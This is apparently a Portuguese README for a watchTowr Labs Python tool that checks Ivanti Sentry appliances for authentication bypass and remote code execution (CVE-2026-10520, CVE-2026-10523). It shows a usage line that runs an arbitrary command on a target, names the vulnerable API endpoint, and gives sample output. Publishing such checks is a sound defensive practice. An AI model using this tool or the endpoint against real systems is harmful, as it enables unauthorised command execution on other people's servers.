watchtowrlabs/watchtowr-vs-ivanti-sentry-rce-cve-2026-10520-cve-2026-10523Gerador de artefatos de detecção baseado em Python para vulnerabilidades de bypass de autenticação e execução remota de código no Ivanti Sentry (CVE-2026-10520, CVE-2026-10523). Automatiza verificações de execução de comandos em endpoints vulneráveis.
Um Gerador de Artefatos de Detecção para Bypass de Autenticação e Execução Remota de Código no Ivanti Sentry.
Veja nosso post no blog para detalhes técnicos.
$ python3 watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py --url https://127.0.0.1 --cmd "uname -a"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py
(*) Ferramenta Geradora de Artefatos de Detecção para Bypass de Autenticação e Execução Remota de Código no Ivanti Sentry
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2026-10520, CVE-2026-10523]
============================================================
Target: https://127.0.0.1
Command: uname -a
[+] Enviando verificação de execução de comando para: https://127.0.0.1/mics/api/v2/sentry/mics-config/handleMessage
[+] O alvo parece estar vulnerável.
Saída do comando:
Linux 127.0.0.1 4.18.0-553.84.1.el8_10.x86_64 #1 SMP Mon Nov 17 12:53:24 PST 2025 x86_64 x86_64 x86_64 GNU/Linux
python3 watchTowr-vs-Ivanti-Sentry-RCE-CVE-2026-10520-CVE-2026-10523.py --url https://127.0.0.1 --cmd "uname -a"
Este Gerador de Artefatos de Detecção watchTowr verifica as vulnerabilidades de bypass de autenticação e execução remota de código no Ivanti Sentry, CVE-2026-10520 e CVE-2026-10523.
Correções e mais detalhes podem ser encontrados no aviso da Ivanti: https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Sentry-CVE-2026-10520-CVE-2026-10523
Para as pesquisas mais recentes em segurança, siga a equipe watchTowr Labs.